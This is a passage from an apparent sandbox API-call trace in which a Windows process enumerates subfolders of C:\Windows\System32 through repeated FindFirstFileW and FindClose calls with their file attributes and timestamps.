ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xf40729a7, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.848] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.849] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\InstallShield\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104eb58, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a0b52a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a0b52a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.850] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.850] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\it-IT\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10c0f66, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a7d938, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a7d938, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.852] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.853] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\ja-JP\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10c0f66, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a577de, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a577de, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.854] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.855] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\ko-KR\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2d2b18c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2d2b18c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.856] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.857] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\LogFiles\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xff0c4cd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7dfc63cd, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x7dfc63cd, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.857] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.857] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\lt-LT\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2d512e6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2d512e6, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.858] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.858] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\lv-LV\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3c7dcc2, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3c7dcc2, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.859] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.859] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\manifeststore\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8ca81b50, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8ca81b50, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.859] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.859] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\migration\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x496a9b80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496a9b80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.864] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.865] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\migwiz\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.867] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.868] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\Msdtc\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb398a053, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb398a053, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3a949f5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x86b000, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="wet.dll", cAlternateFileName="")) returned 0xffffffff [0071.869] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\MUI\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e52f2f2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e52f2f2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.869] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.869] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\nb-NO\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110d21a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3d88638, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3d88638, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.871] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.872] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\NDF\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110d21a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x110d21a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x9e09ea07, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.873] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.873] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\NetworkList\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110d21a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x110d21a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x9e09ea07, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="..", cAlternateFileName="")) returned 0xffffffff [0071.873] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\nl-NL\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110d21a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3d88638, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3d88638, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.875] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.876] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\oobe\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110d21a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.876] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.876] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\pl-PL\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110d21a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3eb9108, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3eb9108, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.879] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.879] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\Printing_Admin_Scripts\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e52f2f2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e52f2f2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e52f2f2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.880] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.880] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\pt-BR\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110d21a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3f053bc, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3f053bc, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.882] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.883] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\pt-PT\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1133374, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3f2b516, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3f2b516, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.885] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.885] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\ras\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1133374, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3f2b516, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3f2b516, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.886] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.886] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\Recovery\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1133374, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3f777ca, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3f777ca, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.886] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.886] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\restore\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800df312, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800df312, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.891] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.891] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\ro-RO\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1133374, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3fc3a7e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3fc3a7e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.891] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.891] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\ru-RU\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1133374, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3fc3a7e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3fc3a7e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.893] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.894] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\Setup\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1133374, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.896] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.897] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\sk-SK\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1133374, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x405bfe6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x405bfe6, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.898] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.898] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\sl-SI\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1133374, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x405bfe6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x405bfe6, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.898] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.898] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\slmgr\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.899] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.899] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\Speech\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1133374, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x800df312, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800df312, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.900] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.900] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\spp\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11594ce, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11594ce, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11594ce, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.901] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.901] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\sppui\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x117f628, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8c8466ab, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8c8466ab, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.902] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.902] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\sr-Latn-CS\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11a5782, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x40ce3f4, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x40ce3f4, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.904] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.905] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\sv-SE\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11a5782, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x40f454e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x40f454e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.907] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.908] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\sysprep\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.908] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.908] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\Tasks\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22952f33, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="en-us", cAlternateFileName="")) returned 0xffffffff [0071.908] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\th-TH\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11f1a36, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x416695c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x416695c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.909] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.910] FindFirstFileW (in: 